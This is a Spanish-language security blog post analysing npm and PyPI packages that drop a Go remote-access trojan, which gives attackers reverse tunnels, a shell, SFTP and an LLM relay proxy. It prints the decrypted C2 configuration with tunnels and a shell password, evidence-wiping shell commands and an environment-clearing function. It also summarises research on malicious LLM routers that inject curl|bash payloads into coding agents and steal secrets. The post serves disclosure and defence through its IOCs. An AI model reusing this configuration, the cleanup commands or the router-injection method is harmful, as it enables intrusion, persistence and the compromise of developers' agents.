Aikido

Puerta trasera GPT-Proxy en npm y PyPI convierte servidores en relés LLM chinos

Escrito por
Ilyas Makari

Recientemente, observamos dos paquetes maliciosos en npm (kube-health-tools) y PyPI (kube-node-health) que parecen diseñados para atacar entornos de Kubernetes. Ambos paquetes son inofensivos en la superficie, utilizando nombres que hacen referencia a Kubernetes para parecer legítimos. Sin embargo, en segundo plano, instalan silenciosamente un servicio proxy LLM completo en la máquina de la víctima, lo que permite al atacante enrutar el tráfico LLM a través del servidor comprometido como si fuera un nodo de retransmisión más en una plataforma comercial de reventa de IA.

Fase 1: Los Droppers

Ambos paquetes distribuyen un binario nativo compilado como su portador de carga útil.

Los dos archivos de la fase 1 son:

  • __init___cpython-311-x86_64-linux-gnu.so  (paquete PyPI)
  • addon.node  (paquete npm)

Ambos son binarios nativos que se ejecutan al importar o al require(). El .so es una extensión de Python compilada con Cython; el .node es un addon nativo de Node.js. Ambos descargan un binario de la fase 2 desde GitHub. La URL codificada en el dropper de PyPI se resuelve en:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

El dropper de npm obtiene una variante más capaz de la misma versión:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Ambos binarios se escriben en /tmp/.kh, se marcan como ejecutables y se lanzan inmediatamente.

Ambos droppers también incrustan blobs de configuración cifrados con XOR que se canalizan directamente al binario de la fase 2 al iniciarse. El binario de la fase 2 lee la configuración de stdin, la descifra y la utiliza como su configuración de tiempo de ejecución:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

La configuración revela varias cosas sobre la operación. El servidor de Comando y Control (C2) es sync[.]geeker[.]indevs[.]in, autenticado con una credencial codificada (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). El bloque de disfraz instruye al implante para que enmascare su proceso como node-health-check --mode=daemon, mezclándose con herramientas legítimas en una lista de procesos.

Los tres túneles inversos en la configuración mapean un puerto del servidor C2 del atacante a un servicio local en la máquina de la víctima:

  • Puerto 4444 enruta a 127.0.0.1:0 (el proxy LLM)
  • Puerto 4446 enruta a 127.0.0.1:22 (el servidor SSH de la víctima)
  • Puerto 4445 enruta a 127.0.0.1:8200 (el puerto predeterminado de HashiCorp Vault, un almacén de secretos comúnmente utilizado en entornos Kubernetes)

La variante de npm también incluye un fallback de ngrok, que cicla a través de un pool de cuentas de ngrok entregadas por el C2, exponiendo el servidor de la víctima a través de un endpoint público.

Después de lanzar el binario de etapa 2, el script dropper borra activamente la evidencia de su propia ejecución. Elimina el binario descargado de /tmp/.kh, elimina un segundo archivo temporal en /tmp/.ns, y luego, lo más notable, elimina recursivamente todo el kube-health-tools directorio del paquete de node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

A los dos segundos de iniciar el binario de etapa 2, todo rastro de la instalación desaparece. Un escaneo forense post-incidente de node_modules no encontrará nada.

Etapa 2: Troyano de Acceso Remoto

El binario de la etapa 2 es un binario Go compilado con varias capacidades empaquetadas en un único ejecutable. Se conecta de nuevo a sync[.]geeker[.]indevs[.]in a través de WebSocket, establece una sesión SSH y utiliza un protocolo de tunelización Chisel para registrar los túneles definidos en la configuración.

El implante implementa la tunelización Chisel a través de WebSocket:

  • Proxy SOCKS5: El binario puede exponer un proxy SOCKS5 completo, permitiendo al atacante enrutar tráfico TCP arbitrario a través de la red de la víctima.
  • Shell inversa: Configurado con la contraseña (123qweASD) encontrada en el bloque de configuración del dropper, proporcionando un terminal interactivo completo.
  • Servidor SFTP: Incluye un servidor SFTP completo, otorgando al atacante acceso completo de lectura/escritura al sistema de archivos.
  • Proxy LLM: Una pasarela API compatible con OpenAI que acepta solicitudes y las enruta a través de routers proporcionados por el atacante.

El binario se encarga de ocultarse tras el lanzamiento. Renombra su proceso a node-health-check con el argumento --mode=daemon, haciendo que se integre con herramientas legítimas en una lista de procesos. También elimina todas las variables de entorno relevantes inmediatamente al inicio:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

Esto asegura que si una KH_CFG o NHC_CFG variable de anulación del operador se estableció, desaparece del entorno antes de que cualquier inspección pueda encontrarla.

El proxy LLM

El implante incluye un proxy LLM totalmente funcional y compatible con OpenAI incrustado directamente en el binario de la etapa 2. Parece ser una pasarela API que acepta solicitudes y las enruta a APIs upstream, incluyendo routers LLM chinos como shubiaobiao.

El proxy expone cuatro rutas de entrada, accesibles a través del túnel:

  • GET /health → 200 OK
  • GET /v1/models → lista todos los modelos configurados
  • POST /v1/chat/completions → enruta al upstream
  • POST /v1/completions → enruta al upstream

Cuando una solicitud llega a /v1/chat/completions, el proxy:

  1. Lee el modelo campo del cuerpo de la solicitud
  2. Busca el nombre del modelo en una tabla de enrutamiento proporcionada por el C2
  3. Selecciona una clave API de cualquiera de los key_normal o key_ultra pools, dependiendo del key_type campo de la configuración
  4. Reescribe la solicitud con el host upstream, la ruta y el token de autenticación bearer.
  5. Reenvía la solicitud y transmite la respuesta de vuelta

A partir de las cadenas de ruta upstream encontradas en el binario, la tabla de enrutamiento mapea los nombres de los modelos a rutas como estas:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

El /gpt-proxy/ prefijo de ruta, combinado con nombres de proveedores como shubiaobiao, cloudsway y volengine, apunta a agregadores intermediarios en lugar de APIs de proveedores oficiales. Ni api.openai.com ni api.anthropic.com aparecen en ninguna parte del binario.

El binario contiene 109 cadenas de nombres de modelos codificadas que se utilizan para construir la respuesta de /v1/models. Abarcan los principales proveedores de frontera, incluyendo modelos de Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), y Alibaba (qwen3-235b-a22b-instruct-2507).

El ecosistema de proxies chino

Ejecutar servidores proxy en máquinas comprometidas es un comportamiento recurrente en el panorama de amenazas chino, impulsado en parte por las restricciones impuestas por el Great Firewall. Anteriormente, AhnLab descubrió a atacantes desplegando herramientas como TinyProxy y Sing-box en servidores honeypot vulnerables para ejecutar servicios proxy encubiertos. De hecho, la cuenta de GitHub gibunxi4201, que aloja la carga útil de la fase 2, parece tener otros proyectos relacionados con proxies en su historial de lanzamientos, lo que es coherente con un operador centrado principalmente en la infraestructura de proxies.

Estas herramientas proxy a menudo se implementan en servidores vulnerables para obtener IPs proxy gratuitas, pero también en servicios gratuitos como HuggingFace, Databricks y Streamlit para navegar por la web sin restricciones del Great Firewall. El patrón es siempre el mismo: encontrar un recurso barato o comprometido y convertirlo en un servidor proxy gratuito.

Los desarrolladores chinos a menudo no pueden acceder a los modelos de IA debido a bloqueos regionales. Esto ha creado un floreciente mercado gris para el acceso a la API de LLM. Plataformas chinas como Xianyu, Goofish y Taobao están llenas de anuncios de vendedores que ofrecen acceso a ChatGPT, Claude y Gemini a una fracción de los precios oficiales a través de endpoints de enrutador (como los que se encuentran en este malware). Incluso hay vendedores que ofrecen cursos sobre cómo monetizar operando sus propios enrutadores LLM.

Enrutadores LLM Maliciosos

Más allá de proporcionar acceso económico a la IA, los enrutadores LLM como el desplegado aquí se encuentran en un límite de confianza que es fácilmente susceptible de abuso. Debido a que cada solicitud pasa a través del enrutador en texto plano, un operador malicioso puede, como documentan Hanzhi Liu et al.:

  • Inyectar llamadas a herramientas maliciosas en las respuestas de los agentes de codificación antes de que lleguen al cliente, introduciendo elementos maliciosos pip install o curl | bash cargas útiles en tránsito
  • Exfiltrar secretos de forma silenciosa de los cuerpos de solicitudes y respuestas, incluyendo claves API, credenciales de AWS, tokens de GitHub, claves privadas de Ethereum y prompts del sistema

Los investigadores descubrieron que en un corpus de 428 enrutadores comerciales, 9 estaban inyectando activamente código malicioso en las llamadas a herramientas devueltas, y se encontró que 17 accedieron a credenciales canary de AWS propiedad de los investigadores después de observarlas en tránsito.

Aunque no encontramos evidencia de inyección o exfiltración en este implante específico, cualquier desarrollador cuyas herramientas de codificación de IA se enruten a través de una máquina comprometida está pasando efectivamente toda su ventana de contexto a través de un relé controlado por un adversario.

Cómo Aikido lo detecta

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

IOCs

Paquetes Maliciosos

  • PyPI: kube-node-health
  • npm: kube-health-tools

Hashes de Archivos

  • __init___cpython-311-x86_64-linux-gnu.so (fase 1 de PyPI)
    • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
  • addon.node (fase 1 de npm)
    • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
  • kube-diag-linux-amd64-packed (variante de PyPI de fase 2)
    • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
  • kube-diag-full-linux-amd64-packed (variante de npm de fase 2)
    • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Indicadores de Red

  • Servidor C2: sync[.]geeker[.]indevs[.]in
  • Descarga de la fase 2: github[.]com/gibunxi4201/kube-node-diag

Indicadores de proceso

  • Nombre del proceso: node-health-check
  • Rutas de descarga temporales: /tmp/.kh y /tmp/.ns
Compartir:

https://www.aikido.dev/blog/gpt-proxy-backdoor-npm-pypi-chinese-llm-relay

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.